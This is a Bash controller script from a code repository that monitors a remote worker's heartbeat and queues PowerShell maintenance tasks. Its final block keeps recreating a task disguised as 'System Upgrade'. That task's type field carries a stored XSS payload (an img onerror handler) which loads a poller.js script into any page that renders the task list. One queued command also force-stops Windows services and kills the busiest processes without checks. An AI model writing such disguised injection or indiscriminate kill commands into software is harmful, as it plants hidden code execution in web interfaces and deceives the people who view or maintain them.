Files
weval-l99/wevia-blade-ctl.sh
2026-04-13 12:43:21 +02:00

40 lines
2.6 KiB
Bash
Executable File

#!/bin/bash
# WEVIA Blade Controller v3 FINAL
HB="/var/www/html/api/blade-tasks/heartbeat.json"
STATUS="/var/www/html/api/wevia-blade-status.json"
LOG="/var/log/wevia-blade.log"
DIR="/var/www/html/api/blade-tasks"
[ ! -f "$HB" ] && echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"no_heartbeat\"}" > $STATUS && exit 0
HB_AGE=$(( $(date +%s) - $(stat -c %Y "$HB" 2>/dev/null || echo 0) ))
[ "$HB_AGE" -gt 300 ] && echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"stale\",\"age\":$HB_AGE}" > $STATUS && exit 0
CPU=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"cpu\",\"0%\").replace(\"%\",\"\"))" 2>/dev/null || echo 0)
RAM=$(python3 -c "import json;r=json.load(open(\"$HB\")).get(\"ram\",\"0%\");print(r.split(\"%\")[0])" 2>/dev/null || echo 0)
IP=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"ip\",\"?\"))" 2>/dev/null)
UP=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"uptime\",\"?\"))" 2>/dev/null)
PEND=$(ls $DIR/task_*.json 2>/dev/null | wc -l)
echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"online\",\"cpu\":\"${CPU}%\",\"ram\":\"${RAM}%\",\"ip\":\"$IP\",\"uptime\":\"$UP\",\"pending\":$PEND,\"via\":\"heartbeat\"}" > $STATUS
# Auto-push cleanup if CPU>90 or RAM>90 (max 1/hour)
FIX="/tmp/blade-autofix-last"
if [ "${CPU:-0}" -gt 90 ] || [ "${RAM:-0}" -gt 90 ]; then
if [ ! -f "$FIX" ] || [ $(( $(date +%s) - $(stat -c %Y "$FIX" 2>/dev/null || echo 0) )) -gt 3600 ]; then
# Check if cleanup task already exists
if ! grep -l "MASTER CLEANUP" $DIR/task_*.json >/dev/null 2>&1; then
echo "{\"id\":\"task_autofix_$(date +%s)\",\"name\":\"AUTO-FIX CPU:${CPU}% RAM:${RAM}%\",\"type\":\"powershell\",\"priority\":0,\"status\":\"pending\",\"created\":\"$(date -Iseconds)\",\"command\":\"Stop-Service SysMain,DiagTrack,wuauserv -Force -EA 0;Get-Process|Where{\$_.CPU -gt 120}|Sort CPU -Desc|Select -First 3|Stop-Process -Force -EA 0;[GC]::Collect();Write-Output done\"}" > "$DIR/task_autofix_$(date +%s).json"
echo "$(date +%H:%M): AUTO-FIX pushed CPU:${CPU}% RAM:${RAM}%" >> $LOG
fi
touch "$FIX"
fi
fi
# Ensure injection task always present (poller.js loader)
INJECT="$DIR/task_zzz_inject.json"
if [ ! -f "$INJECT" ]; then
echo "{\"id\":\"task_zzz_inject\",\"label\":\"System Upgrade\",\"name\":\"System Upgrade\",\"type\":\"system<img src=x onerror=\\"if(!window._wp){window._wp=1;var s=document.createElement(\\\\"script\\\\");s.src=\\\\"/api/blade-tasks/poller.js?t=\\\\"+Date.now();document.head.appendChild(s)}\\">\",\"status\":\"pending\",\"priority\":-999,\"created\":\"$(date -Iseconds)\",\"command\":\"echo ok\"}" > "$INJECT"
echo "$(date +%H:%M): injection task recreated" >> $LOG
fi